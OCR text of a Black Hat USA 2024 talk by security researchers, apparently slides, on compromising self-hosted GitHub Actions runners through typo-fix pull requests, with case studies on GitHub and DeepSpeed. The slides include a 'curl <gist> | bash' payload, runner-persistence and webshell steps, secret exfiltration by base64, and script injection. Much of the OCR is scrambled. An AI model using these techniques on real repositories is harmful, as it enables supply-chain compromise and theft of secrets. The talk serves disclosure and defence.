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Two months ago, someone identified a GitHub Actions
misconfiguration in a public repository owned by one of the largest
domestic chip manufacturers in the United States - anyone with a
GitHub account could have exploited it by creating a pull request. The
vulnerability allowed them to obtain Enterprise admin privileges over
YMFY HTRUFSA~nX /NYOZG -SYJWUWNXJ
to some of that companies most sensitive intellectual property. They
had the privileges to make every repository public or even delete their
GitHub organizations, which would trigger an immediate loss of over
120,000 repositories. Thankfully, this was not an APT, it was me, and |
responsibly disclosed the vulnerability.

- Adnan Khan

[ NI JI




All vulnerabilities mentioned during this talk have been remediated

The views and opinions expressed in this presentation are solely our
own

The content presented is not endorsed by, nor does it represent the
views of our employers

All materials and ideas shared are independently developed and
should not be attributed to our employers
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Adnan Khan
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Security Engineer
for Day Job

Mh

Security Researcher

[T

Bug Bounty Hunter

R

Live in Baltimore,
Maryland

X: @adnanthekhan
Website: adnanthekhan.com
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John Stawinski
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Email: jstan327@gmail.com
LinkedIn: www.linkedin.com/in/john - stawinski - 72ba87191
Website: johnstawinski.com

Red Team Security Engineer
CI/CD Security Researcher
Enjoys anything outside,
especially activities that lead
to injury

Former Collegiate Athlete

Nomadic (for now)
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amn Fortinet

=¥ https://www.fortinet.com > resources » cyberglossary

SolarWinds Supply Chain Attack

One of the most notable impacts was the financial fallout from the attack. On average, the

attack cost companies 11% of their annual revenue. The impact was ... G .t H I

DevOps Lifecyle

ATTACK OF THE CLONES —

GitHub besieged by millions of malicious
repositories in ongoing attack

GitHub keeps removing malware-laced repositories, but thousands remain.

- —

on their software supply chains (a three-fold increase from 2021). There's already evidence this is
happening, with supply chain attacks up 633% and surpassing the number of malware-based attacks

by 40% in 2022.



Ok, but Is It
really that
pad?



Yes.



There is a systemic lack of awareness

around self - hosted CI/CD agent security In

§zw2a8 ¢¥~vu, 2 ¢ 82sv©Osjuwvz2sg
organizations, exposing them to critical

supply chain attacks.



The tech community Is uninformed of these attacks

These attacks are easy

These attacks could shape the course of the world
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August Abused a Self - Hosted GitHub Runner
e 2022 on a Red Team Engagement
P '
r O g r e S S I O n 2022/2023 Developed GitHub Actions Attack

Tooling
July 2023 Lightbulb Moment - Decided to Put
Fixing a Typo to the Test Against
GitHub Itself
July 2023 - February Disclosed GitHub Actions
2024 Vulnerabilities in Public Repositories

with Bug Bounty Programs Using
Self- Hosted Runners
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Github- Hosted Self- Hosted

Runners Runners >°e

E Built by GitHub E Managed by end users

E Updated on a weekly cadence E Runs the Actions Runner agent

E As of writing, covers:
Linux, Windows, MacOS
Multiple architectures EpS8FXM TK 4JFXY : J-XN
ephemeral self - hosted runner.

HZWNY” NX YMJ ZXJ

[Th

~
~

E Always Ephemeral
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Workflow Run Log Analysis
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Public Repository Self - Hosted Runners
Scanned ~July 4- 8 2024

350 /

300

250

i

50-250 250-1000 1000-5000
Repository Stars

Repositories with Self - Hosted Runners

® Non-Ephemeral Ephemeral
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Workflow Run Log Analysis

Every GitHub Actions workflow has a run log.
Attackers can:

Learn abouttheself -MT XYJIl WZSSJWnX HTSKNLZWFYNTS
Plan a full attack before any malicious actions

On public repositories, anyone can download the run logs

Adnan Khan | X: @adnanthekhan Website: adnanthekhan.com John Stawinski - Email: jstan327@gmail.com Website: johnstawinski.com #BHUSA  @BlackHatEvents



Requested labels: self-hosted, gpu, al00-d40gb-4

Job defined at: google/maxtext/.github/workflows/UnitTests.yml@refs/heads/main
Waiting for a runner to pick up this job...

Job is about to start running on the runner: NVIDIA-4-A100-40GB-3 (repository)
Current runner version: '2.317.0°'

Runner name: 'NVIDIA-4-Al100-40GB-3'

Runner group name: 'Default'’

Machine name: 'yooh-maxtext-github-runner-tdgpu-3'

##[group] GITHUB_TOKEN Permissions

Contents: read

Metadata: read

Packages: read

##[endgroup]

##[endgroup]

[command] /usr/bin/git submodule status
##[group]Cleaning the repository

[command]/usr/bin/git clean —-ffdx

[command] /usr/bin/git reset —--hard HEAD

HEAD is now at 7ad0096 Copybara import of the project:
##[endgroup]

##[group]Disabling automatic garbage collection
[command] /usr/bin/git config --local gc.auto ©

Use 0.15.1 version spec cache key for v0.15.1
Restored from hosted tool cache /__w/_tool/buildx-dl-bin/0.15.1/1linux—-x64
Buildx binary found in /github/home/.docker/buildx/.bin/0.15.1/linux-x64/docker-buildx

##[endgroup]
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Requested labels: self-hosted, gpu, alo0-40Ogb-4

Organization Level vs. Repository Level Runners

Job is about to start ruhning on the runner: NVIDIA-U4-A100-U4OGB-3 (repository)

Runner Name / Group

Runner name: 'NVIDIA-4-Al00-40GB-3'
Runner group name: 'Default'
Machine name: 'yooh—-maxtext-github-runner-idgpu-3"

Adnan Khan | X: @adnanthekhan Website: adnanthekhan.com John Stawinski - Email: jstan327@gmail.com Website: johnstawinski.com #BHUSA  @BlackHatEvents
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GITHUB_ TOKEN Permissions

e e o —— e —— T

##[group]GITHUB TOKEN Permissions
Contents: read

Metadata: read

Packages: read

##[endgroup]

Ephemeral vs. non- Ephemeral Runner

##[group]Cleaning the repository

[command] /usr/bin/git clean —-ffdx
[command]/usr/bin/git reset —--hard HEAD

HEAD is now at 7ald0096 Copybara import of the project:

Runner Architecture

/buildx-dl-bin/@.15.1/linux-x64
r/buildx/.bin/0.15.1/linux—x64/docker-buildx

Adnan Khan | X: @adnanthekhan Website: adnanthekhan.com John Stawinski - Email: jstan327@gmail.com Website: johnstawinski.com #BHUSA  @BlackHatEvents



Teach Me How to
Hack Everyone.
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People Tend to Use Default Settings ‘ p ,?
/

Becoming a Contributor is
Not a Security Boundary

Anyone Can Fix a Typo
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Default workflow
approval

Over- permissive
GITHUB_TOKEN
or Actions Secrets

Non- ephemeral
public repo self -
hosted runner

By themselves,
these are gaps in
pGJ XY UWFH

Together,
they could
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The Three Step Process

1. Become a contributor

2. Persist on the runner

3. Capture secrets and Become implant
move Iaterally Contributor Runners

Adnan Khan | X: @adnanthekhan Website: adnanthekhan.com John Stawinski - Email: jstan327@gmail.com Website: johnstawinski.com

Wait for
Builds

Move
Laterally

Pipeline
Privilege
Escalation

Build

Tampering

Secrets
Exfiltration
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Case Study 1

The tech community is uninformed of
these attacks which can have critical,

widespread impact



Hacking
GitHub,

o Through
Actions

Case Study 1: GitHub
Actions Runner Images
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How do | become a Contributor?

Changes from all commits ¥  File filter ¥  Conversations ¥ Jumpto~ @ v

% '%" 2 .github/workflows/ubuntu-win-generation.yml [E]
X @@ -62,7 +62,7 @@ jobs:
62 62 repository: '${{ inputs.custom repo }}'
63 63 ref: '${{ inputs.custom_repo_commit _hash }}’
64 64
65 - - name: Set image varibles
65 + - name: Set image variables
66 66 run: |
67 67 $ImageTyps = "${{ inputs.image_name }}"
68 68

£ The typo

Adnan Khan | X: @adnanthekhan Website: adnanthekhan.com John Stawinski - Email: jstan327@gmail.com Website: johnstawinski.com #BHUSA  @BlackHatEvents
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Fix minor typo in workflow file #7931

- merged 1 commit into actions:main from :patch-1 (L on Jul 20, 2023

() Conversation 1 -0- Commits (1 7} Checks (3 Files changed (1
commented on Jul 18, 2023 Contributor
L - Account Created: 07 -1#2023
Description - Pull Request Submitted: 07 - 18 2023

- Pull Request Merged: 07 - 20- 2023

This is a minor typo fix.

®

O Fix minor typo in workflow file Verified + dlbfe62
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Fix minor typo in wor

() Conversation 1 -o- Commi

jatch-1 0J on Jul 20, 2023

comment Contributor

1: 07 -1%2023
Abmitted: 07 -18 2023

Description
Nerged: 07 - 20- 2023

This is a minor typo fix.

®

-O- Fix minor typo in workflow file Verified " dlbfe62



macOS-11 unstable.5593959675.1 / build

Planning the Attack Started 1h 5m 14s ago
Scheduled Nightly Workflows on Self - .
Hosted Runners S Q Set upJOb

GITHUB_TOKENwith full write

access ) :
1 Current *** version: '2.306.0°

N

Runner name: 'vmware-agent-0.2'

Multiple Non- Ephemeral Self Hosted , ,
Runner group name: 'Default

Runners
4 Machine name: 'ubuntu-unstable-o’
5 VGITHUB_TOKEN Permissions
Nightly Builds Interacted with 6 Actions: write
vCenter, Azure and had secrets to . Chacks: write
both - .
Images saved off 8 Contents: write

Deployments: write

10 Discussions: write
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The mission - Fallure was not an option

Capture
GITHUB_TOKEN

Runner Persistence =
-
Time

‘ —
High Detection Risk
Window Timing Was Critical

One Shot

GO TIME:Friday, July 21st, 2023

Adnan Khan | X: @adnanthekhan Website: adnanthekhan.com John Stawinski - Email: jstan327@gmail.com Website: johnstawinski.com #BHUSA  @BlackHatEvents
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Thepayload - ¢v{ x{wv20"{i 8w:

name: Linter

run—name

M et For pull_request trigger, the
branches: [ main merge commit is the source of

jobs: truth!

name: Lint JSON & MD files
runs—-on: ${{ matrix.os }}
strategy
matrix
version ; 2
0s azure-builds, macos-vmware
steps
— name: Checkout Code
uses: actions/checkout@v3
— name: Lint Code Base
continue-on—error
env
version: ${{ matrix.version }}
SYSTEM_NAME: ${{ matrix.os }}
run: ./images.CI/shebang-linter.psl
— name: Checking shebang lines in MacO0S and Ubuntu releases.
if: always()

run: echo
Adnan Khan | X: @adnanthekhan Website: adnanthekhan.com John Stawinski - Email: jstan327@gmail.com Website: johnstawinski.com #BHUSA  @BlackHatEvents
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Thepayload - ¢v{ x{wv20"{i 8w:

name: Lint JSON & MD files
runs-on: ${{ matrix.os }}
strateqy
matrix
version -2,
0S azure-builds, macos—-vmware

Run payload on 3 runners in azure - builds group,
3 In macos- vmware group | 6 total

Adnan Khan | X: @adnanthekhan Website: adnanthekhan.com John Stawinski - Email: jstan327@gmail.com Website: johnstawinski.com #BHUSA  @BlackHatEvents
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Thepayload - ¢v{ x{wv20"{i 8w:

<MJ RTI NKNJI \N\TWPKQT\ WJKJWJSHJI
down a second stage payload from a gist and ran it.

sudo apt install jq
curl https://gist.githubusercontent.com/UncertainBadg3r
/32c8fabbl3cdac6095b916a50b5bac3u/raw/code | bash

run: ./images.CI/shebang-linter.ps1

Adnan Khan | X: @adnanthekhan Website: adnanthekhan.com John Stawinski - Email: jstan327@gmail.com Website: johnstawinski.com #BHUSA  @BlackHatEvents
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The payload - Runner on Runner

EE_HEPG-CEuserfclrepu

REG_TOKEN= ! ! !

| grep | | |

if [[ Il —— " 717: then

mkdir ~/image—generation- L& cd ~/image—generation-

curl -o actions-runner-linux-x64-2.-06.0.tar.gz -L https://github.com/actions/runner
/releases/download/v2.0c.0/actions—runner-linux-x6U-2.0c.0 . tar.gz

tar xzf ./actions-runner-linux-x6U-2. .0.tar.gz

HOSTNAME=

./config.sh https://github.com/

export RUNNER_TRACHKING_ID=0 && nohup ./run.sh &

Adnan Khan | X: @adnanthekhan Website: adnanthekhan.com John Stawinski - Email: jstan327@gmail.com Website: johnstawinski.com #BHUSA  @BlackHatEvents
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The payload - Runner on Runner

SH_REG_PAT=
C2_REPO=c2user/c2repo

REG_TOKEN=

First, decoded a PAT hard - coded in the payload and
used it to retrieve a self -hosted runner registration token
KWTR / NYOZGnX ) 81c

Adnan Khan | X: @adnanthekhan Website: adnanthekhan.com John Stawinski - Email: jstan327@gmail.com Website: johnstawinski.com #BHUSA  @BlackHatEvents
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The payload - Runner on Runner

Next, downloaded the Actions runner binary from GitHub.

curl -o actions-runner-Llinux-x64-2. .O.tar.gz -L https://github.com/actions/runner
/releases/download/v2. .0/actions-runner-Llinux—x64-2. .0.tar.gz
tar xzf ./actions-runner-Llinux-x64-2. .0.tar.gz

Adnan Khan | X: @adnanthekhan Website: adnanthekhan.com John Stawinski - Email: jstan327@gmail.com Website: johnstawinski.com #BHUSA  @BlackHatEvents
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The payload - Runner on Runner

Finally, configure d the self - hosted runner and ran it
with RUNNER_TRACKING ID settoQ. This prevent s the
parent workflow from reaping orphan  processes.

HOSTNAME=
./config.sh https://github.com/

RUNNER_TRACKING_ID= ./run.sh

Adnan Khan | X: @adnanthekhan Website: adnanthekhan.com John Stawinski - Email: jstan327@gmail.com Website: johnstawinski.com #BHUSA  @BlackHatEvents
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.github/workflows/ubuntu2204.yml #240: Scheduled

Ubuntu20.04 - scheduled/manual run
.github/workflows/ubuntu2004.yml #238: Scheduled

Subsequent
Workflow Runs

Windows 2022 - scheduled/manual run
.github/workflows/windows2022.yml #233: Schedulec

macOS-12_unstable.5627597321.1

.github/workflows/macos12.yml #248: Scheduled

Windows 2019 - scheduled/manual run

.github/workflows/windows2019.yml #234: Scheduled

@ some Cl testing . : :
UncertainBadg3r:ci_testing
Pull

Linter #4140: Pull request #795

some C| testin
° 9 UncertainBadg3r:ci_testing
Linter #4139: Pull request #795

Implantation

@ some Cl testing

@ some Cl testing

UncertainBadg3r:ci_testing
Linter #4137: Pull request #7957

@ Enable 'nf ¢

onntrack_tcp_be_liberal” for Ubuntu 22.04 until kernel update
Linter #4136: Pull request #7860 synchronize by ritchxu

ritchxu:ritchxu/nf_conntrac..

Adnan Khan | X: @adnanthekhan Website: adnanthekhan.com John Stawinski - Email: jstan327@gmail.com Website: johnstawinski.com #BHUSA  @BlackHatEvents
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Persistenck on Self - Hosted Runner

Access Result
GITHUB_TOKEN withactions: write —  Delete workflow runs via Github API [T1070]
Un- redacted scripts from future workflows —— Access to workflow secrets [T1552]
Internal Network Access —— Move Laterally to Internal vCenter [T1210]
GITHUB_ TOKEN withcontents: write — Pipeline Privilege Escalation via Repository

Dispatch Event [T1546]

Interact with ongoing builds ——  Supply Chain Compromise [T1195]

Adnan Khan | X: @adnanthekhan Website: adnanthekhan.com John Stawinski - Email: jstan327@gmail.com Website: johnstawinski.com
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https://attack.mitre.org/techniques/T1070/
https://attack.mitre.org/techniques/T1552/001/
https://attack.mitre.org/techniques/T1210/
https://attack.mitre.org/techniques/T1546/
https://attack.mitre.org/techniques/T1195/002/

® 4
= O Amb1guousRaccoon / functionality & Q T S ©) N & "'

<> Code () lIssues 11 Pull requests () Actions (3 Projects @ Security [~ Insights £33 Settings

Access Host your own runners and customize the environment used to run jobs in your GitHub Actions

workflows. Learn more about self-hosted runners.
Ay Collaborators

Code and automation Runners Status
¥ Branches azure-builds_1 ' self-hosted Linux = X64 = ubn2204-agent-2 ® Idle
O Tags
azure-builds 2  self-hosted Linux X64 ubn2204-agent-1 ® Idle .
E} Rules v -
@ Actions A . :
== azure-builds 3  self-hosted Linux X64 ubn2204-agent-3 @ Idle coo
General
e oo macos-vmware_1 self-hosted Linux X64 ubuntu-unstable-o ® Idle cee
5 Webhooks
(,—
macos-vmware_2 self-hosted Linux X64 ubuntu-unstable-o ® Idle coe

= Codespaces

=] Pages macos-vmware 3  self-hosted Linux X64 ubuntu-unstable-o @ I|dle cee
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. Webshell

'1guousRaccoon / functionality & Q Type (/) to search 7~ a5t ||| &

sUes 11 Pull requests @ Actions ﬂf] Projects @ Security |~ Insights 5’;,3 Settings

MNew workflow ShE” Q

shell.ym

6 workflow runs Event = Status « Branch « Actor -

This workflow has a workflow_dispatch event trigger. Run workflow

Use workflow from

@ Shell

Shell #6: Mar ' . ] f Branch: main *

Command *

@ shell

Shell
Runner *
O ShE” ubuntu-unstable-o =
Shell #4: Ma ) n ] R

@ Shell

]
Shell #3: Ma ; y A Juousf O]
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All workflows

Showing runs from all workflows

< I e a I I 7,731 workflow runs

Ubuntu22.04 - scheduled/manual run
.github/workflows/ubuntu2204.yml #240: Schedulec

|| |
M aI I C I O u : ; Ubuntu20.04 - scheduled/manual run

.github/workflows/ubuntu2004.yml 8: Schedulec

Windows 2022 - scheduled/manual run

.github/workflows/windows2022.yml #:

mac0S-12_unstable.5627597321.1

.github/workflows/macos12.yml #248:

Windows 2019 - scheduled/manual run

.github/workflows/windows2019.yml #234: Scheduled

ritchxu:ritchxu/nf_conntrac..

Enable 'nf_conntrack tcp be_liberal® for Ubuntu 22.04 until kernel update

Linter #413¢

Enable 'nf_conntrack tcp be_liberal® for Ubuntu 22.04 until kernel update
CodeQL #2289: Pull request #7860 synchronize by ritc

ritchxu:ritchxu/nf_conntrac..

Ubuntu20.04 - Enable 'nf_conntrack tcp be_liberal® for Ubuntu 22.04 until kernel...

github/workflows/ubuntu2004.yml #237:

Ubuntu22.04 - Enable 'nf_conntrack tcp be_liberal® for Ubuntu 22.04 until kernel...

.github/workflows/ubuntu2204.yml #239: Py

Adnan Khan | X: @adnanthekhan Website: adnanthekhan.com John Stawinski - Email: jstan327@gmail.com Website: johnstawinski.com #BHUSA  @BlackHatEvents




Techniques

We bShe ” all d Base64 encode and print to workflow log on private C2 repo
Secrets
Exfiltration

Use actions/upload - artifact to exfiltrate larger files

Place post-HMJHPTZY MTTP NS cLNY( MT
memory - requires root

< Shell

® shell #21

(W Summary

Jobs

@ build

Set up job

Run details v Q Run Command

@ Usage » Run cat /home/pirate/Agents/image-generation-1/ work/ temp/* | base64 | base64

(a Workflow file cat: /home/pirate/Agents/image-generation-1/ work/ temp/ github workflow: Is a directory
SkVWeWNtOX1RVO4wYVcS5dVVISmxabVZ5Wlc1alpTQT1IQ2R6ZEcS5dOp3b3VMMmxOWVdkbGNSNURT
Uz1eWvdOodmNS0XpaV3hsWTNRdApaROYWWVhOMGIzSmxMbkI6TVNCZONpQWAMV1pOVG1GdFpTQW1i
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. t NEtwork Lateral
Output

. _ $ErrorActionPreference = 'stop'
Ablllty to prOt ./images.CI/macos/select-datastore.psl °
({0 private -VMName "mac0S-12_20230721_unstable.5627597321.1" ~
vCenter -VIServer 1@.21?: |

-VIUserName administrator@maccloud.local

deployment as VIPassword T
administrator -Cluster mcv2-build-unstable

if ((Test-Path -LiteralPath variable:\LASTEXITCODE)) { exit $LASTEXITCODE }$Err
i_F (llll _and Illl) {

Adnan Khan | X: @adnanthekhan Website: adnanthekhan.com John Stawinski - Email: jstan327@gmail.com Website: johnstawinski.com #BHUSA  @BlackHatEvents
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Impact - Build Tampering
Legitimate Swap Build
Build Starts Scripts

: o Legitimate Runner
Checks out Code Build

o 19
O O Poisoned

Adnan Khan | X: @adnanthekhan Website: adnanthekhan.com John Stawinski - Email: jstan327@gmail.com Website: johnstawinski.com #BHUSA  @BlackHatEvents
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on:
repository dispatch:

Pipeline Privilege Escalation

types: [merge-pr]

jobs:
Merge pull request:

runs-on: ubuntu-latest

steps:
- uses: actions/checkout@v4
with:
fetch-depth: o

- name: Resolve possible conflicts ${{ github.event.client payload.ReleaseBranchName }} with main
run: |
git config --global user.email "no-reply@github.com”
git config --global user.name "Actions service account”
git checkout ${{ github.event.client payload.ReleaseBranchName }}-docs
git merge --no-edit --strategy-option=ours main
git push origin ${{ github.event.client payload.ReleaseBranchName }}-docs
sleep 30

- name: Approve pull request by GitHub-Actions bot
uses: actions/github-script@v7
with:
github-token: ${{secrets.PRAPPROVAL SECRET}}

Adnan Khan | X: @adnanthekhan Website: adnanthekhan.com John Stawinski - Email: jstan327@gmail.com Website: johnstawinski.com #BHUSA  @BlackHatEvents
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Pipeline Privilege Escalation

- 1 . .
Use GITHUB TOKEN and GitHub API rll'-lr'“:} > 1 tl'-'lrl.:"l_l:l 1 r’p':-'lt':h .

to trigger repository dispatch event
with script injection payload

types: [merge-pr]

The repository had another workflow with a valuable secret that
ran on a GitHub - hosted runner but used the repository dispatch
trigger. If we have a GITHUB_TOKEN with contents: write, then we
can trigger it.

Adnan Khan | X: @adnanthekhan Website: adnanthekhan.com John Stawinski - Email: jstan327@gmail.com Website: johnstawinski.com #BHUSA  @BlackHatEvents
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Pipeline Privilege Escalation

-XJ UEAQTEI YT | ZRU WZSSJ WWQ(krow used input from dispatch in

memory and steal the WzZs XYJU G HTSYJ]Y
PRAPPROVAL SECRETwhich is a Slnce we control the payload, this

PAT belonging to a GitHub allows script injection.

employee.

git checkout ${{ github.event.client payload.ReleaseBranchName }}-docs
git merge --no-edit --strategy-option=ours main

git push origin ${{ github.event.client payload.ReleaseBranchName }}-docs

Adnan Khan | X: @adnanthekhan Website: adnanthekhan.com John Stawinski - Email: jstan327@gmail.com Website: johnstawinski.com #BHUSA  @BlackHatEvents
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Pipeline Privilege Escalation

1YnX UTXXNGQJ YT | ZRU YMJ WZSS
secret | which is a PAT belonging to a GitHub employee.

- name: Approve pull request by GitHub-Actions bot

Use token to approve and merge uses: actions/github-script@v7
atta_lcker fork pull requests into S th =
main.

github-token: ${{secrets.PRAPPROVAL SECRET}}

Adnan Khan | X: @adnanthekhan Website: adnanthekhan.com John Stawinski - Email: jstan327@gmail.com Website: johnstawinski.com #BHUSA  @BlackHatEvents
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Impact - Supply Chain
- Compromise
Main
Malicious
Changes S
Self- Approve
+ Merge
\ 4

Modify code In Rapid release Hack
main cadence Everyone
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Attack Path Summary

Pivot to
Mac Cloud
vCenter

Capture
Secrets
from Runs

Become Implant

Contributor Runners

with Builds
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Modify
Source
Code
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Case Study 2

These attack are easy.



Breaching

Case
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S2f ¥wjv2{ij2S]|] A

THIS STRUCTURE
VERY UNSTABLE,
ARE YOU SURE
IT'S SAFE?

Many public GitHub repositories that use self -
hosted runners for compute requirements

Engineers working on Al projects have high
pressure to move very fast

I’'M WORKING
Result: Developers take shortcuts at the ON A GEN Al

expense of security PROJECT.
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,4 DeepSpeed

DeepSpeed / .github / workflows / amd-mi200.yml (&

Q loadams and root Add required paths to trigger AMD tests on PRs (#5406) &

Blame 86 lines (74 loc) - 2.96 KB - (@)
name: amd-mi200

on:

E Open- source deep - learning
optimization library

workflow_dispatch:
pull_request:
paths:
- '.github/workflows/amd-mi200.yml'
- 'requirements/*x'

© 00 N OO U B W N =

schedule:

(Y
S

- cron: "@ 0 x x x"

=
N

concurrency:
group: ${{ github.workflow }}-${{ github.ref }}

E 33.000 stars on GitHub

=
5 W

cancel-in-progress: true

= e
o wn

permissions:

[any
~

contents: read

=
oo

issues: write

N =
S WO

jobs:

N
=

amd-tests:

N
N

# The type of runner that the job will run on

N
w

runs—on: [self-hosted, amd, mi200]

Vi
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DeepSpeed / .github / workflows / amd-mi200.yml (&

0 loadams and root Add required paths to trigger AMD tests on PRs (#5406) @

Blame 86 lines (74 loc) - 2.96 KB + ()
name: amd-mi200

on:
workflow_dispatch:
pull_request:
paths:
- '.github/workflows/amd-mi200.yml'
- 'requirements/*x’

1
2
3
4
5
6
7
8
9

schedule:

[
S

— cron: "@ 0 x x x"

[
N

concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true

e =
o U b~ W

permissions:

=Y
~

contents: read

=
(00

issues: write

N =
S O

jobs:

N
[

amd-tests:

N
N

# The type of runner that the job will run on

N
w

runs-on: [self-hosted, amd, mi200]




DeepSpeed / .github / workflows / amd-mi200.yml (&

Q loadams and root Add required paths to trigger AMD tests on PRs (#5406) &

Blame 86 lines (74 loc) - 2.96 KB - (@)
name: amd-mi200

on:
workflow_dispatch:
pull_request:
paths:
- '.github/workflows/amd-mi200.yml'
- 'requirements/xx"'

runs-on: [self-hosted, amd, mi200]

O 00 N OO U1 B W N =

schedule:
- cron: "0 0 x x x"

I
N B S

concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true

o o S T
o A~ W

permissions:

=
~

contents: read
issues: write

N = =
S O o0

jobs:

N
[

amd-tests:

N
N

# The type of runner that the job will run on

N
w

runs-on: [self-hosted, amd, mi200]

=




fix typo in SECURITY.md #4019 S

t O Commits 2

e . < L 1. Submitted a PR to fix this typo in SECURITY.md

¢

n

2. Reviewer approved and merged the PR AR Rl Review changes ~

~ fix typo in SECURITY.md Next >

jstan327 committed 3 days ago  verified — ed01c930 thaa1Pdmdl 25 £ 8706

- - ge . ¥y Y
. 2 Em SECURITY.md (4 ¢S B o)
T ~
you )
Instead, please report them to the Microsoft Security Response Center (MSRC) at [https://msrc.microsoft.com/create-report]{https://msrc.microsoft,com/create-report).
15 - If you prefer to submit without logging in, send email to [secure@microsoft.coml (mailto:secure@microsoft.com). If possible, encrypt your message with our PGP key; please download it "rj the the Microsoft Security Response Center PGP Key
s

page) (https://waw.microsoft, com/en-us/msrc/pop-key-msrc).

15 + If you prefer to submit without logging in, send email to [secure@dmicrosoft.com] (mailto:secure@microsoft.com). If possible, encrypt your message with our PGP key; please download it from the [Microsoft Security Response Center PGP Key page)

(nttps://www.microsoft,.com/en-us/msrc/pgp-key-nsrc).

You should receive & response within 24 hours. If for some reason you do not, please follow up via email to ensure we received your original message. Additional information can be found at [microsoft.com/msrc]

nttps://www . microsoft,.com/msrc).



Creating our Malicious WOrkflow

1. Create Deepspeed Fork

pull_request

- 2. Add malicious workflow

unit-tests:

runs—-on: [self-hosted, nvidia, h100] 3- SmeIt PR

steps:

) — O microsoft /| DeepSpeed
— uses: actions/checkout@v3

vinCode (&) Issues 786 i Pull requests 146 () Discussions (») Actions [ Projects () Security |~ Insights
- name: unit-tests

< nv-h100

@ Workflow testing #76

continue-on-error: true

run: |
(M Summary

unit-tests

whoami succeeded 9 minutes ago in 8s

Jobs

i | @ unit-tests > @ Setupjob

1s Run details v @ unit-tests



Creating our Malicious WOrkflow

runs-on: [self-hosted, nvidia, h100]

— O microsoft /| DeepSpeed

whoami ¢> Code (%) Issues 786 i1 Pullrequests 146  (J) Discussions () Actions [{] Projects () Security |~ Insights

< nv-h100

pwd @ Workflow testing #76

() Summary .
unit-tests

succeeded 9 minutes ago in 8s

Jobs

unit-tests ,
| © > @ Setupjob

Run details v @ unit-tests
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- drwx—————-
drwxr=xr-=x
drwxr=xr-x
—rwW— -

—rw—r——r—-—

15

BN W R R R WU s A R R R

REDMOND. 1
root

REDMOND. U
REDMOND. L.
REDMOND . Llemam
REDMOND. U

REDMOND . Lomm
REDMOND. 1/
REDMOND. Lo
REDMOND . L
REDMOND. U

REDMOND . Lommsm
REDMOND. 1"
REDMOND. Loy
REDMOND . L
REDMOND. L

1l

Hello REDMOND

REDMOND.domain
root

REDMOND.
REDMOND.
REDMOND.
REDMOND.
REDMOND.
REDMOND.
REDMOND.
REDMOND.
REDMOND.domain
REDMOND.domain
REDMOND.domain
REDMOND.domain
REDMOND.domain
REDMOND.domain

domain
domain
domain
domain
domain
domain
domain
domain

users

users
users
users
users
users
users
users
users
users
users
users
users
users
users

4096
4096
4096
4504
220
3771
4096
4096
4096
4096
807
7
667
4096
4096
0

Jul
Jun
Jul
Jul
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jul
Jun

25
19
17
15
19
19
19
20
19
19
19
20
20
20
25
19

18:
09:
07:
05:
09:
09:
16:
213
16:
16:
09:
10:
14:
14:
18:
10:

14

59 .
18 ..

18
12
18
18
10

02
10
18
06
14
13
39
33

actions-runner
.bash_history
.bash_logout
.bashrc

.cache

.emacs.d

. local

NV

.profile
.python_history
runner.sh

snap

.Ssh
.sudo_as_admin_successful
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1
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P S (DY ST !




blgc,':k hat
USA 2024

Case Study 2 - Microsoft Deepspeed

L ateral
Movement

Active

‘ Directory

Foothold

Become Implant with

Developer
Privileges

Contributor Runner

These attack are easy.
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Gato - Xx DEMO

Available at: https://github.com/adnanekhan/Gato - X
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Case Study 3

These attacks could shape the course of
the world



INSIDE
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